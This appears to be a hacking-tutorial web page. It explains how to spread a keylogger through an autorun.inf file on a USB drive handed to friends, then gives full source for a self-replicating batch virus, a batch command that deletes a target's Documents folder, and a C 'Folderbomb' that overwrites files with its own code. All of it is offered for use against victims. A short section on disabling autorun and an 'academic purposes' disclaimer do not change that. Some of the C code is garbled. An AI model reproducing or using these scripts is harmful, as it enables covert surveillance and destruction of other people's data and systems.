What Is Autorun.Inf And How To Use It ? | Autorun.Inf Virus

This tutorial is about using autorun.inf file to spread keylogger/rat via pendrive or another removable device. A detailed tutorial about autorun virus. Read this post carefully and don’t forget to leave your feedback comments in.
In windows XP it will automatically execute the instructions while in other versions of windows it will ask the user .

Q)what is autorun.inf ?

A) Autorun.inf file is a simple text file containing list of instructions to be followed by the Operating System. Whenever a CD/USB is plugged in, the system searches for this autorun file, and if found it executes all the instructions present in this file.

Q) Why it is used?

A) It is used to execute files automatically whenever a CD/Usb is plugged in. It can also change the icon of the usb/cd drive .

Steps:-

1) Creating autorun.inf :-
1.a) Open notepad and copy the followig code to it.
[autorun]
open=autorun.bat
icon=anything.ico

Here autorun.bat is the file we want to execute when our CD/USB is inserted.
Anything.ico is the name of icon file we want to set to our CD/USB drive.

2) Creating autorun.bat :-
2.a) Copy the following code [Edit it accordingly] @echo off
start /location of the keylogger

Ex 1 :- If it is saved in a folder named rishabh which is present in the root directory of CD/USB. Then the code should be edited like this
@echo off
start rishabh/keylogger.exe

Ex 2 :- If the keylogger is placed in theroot directory then the code should be like this :-
@echo off
start keylooger.exe

2.b) Save it as autorun.bat and place it in the root directory of the CD/USB.

3) Give this CD/USB to your friends and when they will insert this in their systems, the will be infected with your keylooger.

Disabling Autorun :

1) Go to RUN and type gpedit.msc and hit ok.
2) Browse toComputer Configuration >>Administrative Templates >> Windows Components >>Autoplay Policies .
3) In details pane, double-click Turn off Autoplay.
4) Click Enabled, and then select All drives in the Turn off Autoplay box to disable Autorun on all drives.

IMPORTANT NOTE :- This guide is for academic purposes solely, Use at your own risk.

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BAtch VIRUS

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don't run this on ur pc

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
=============================================
It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

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2 SIMPLE VIRUS ONE IN NOTEPAD ,ONE IN C

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO

OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED. 

Code Is Below
rmdir C:\Documents and Settings \S\Q.




VIRUS 2 

*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......

#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

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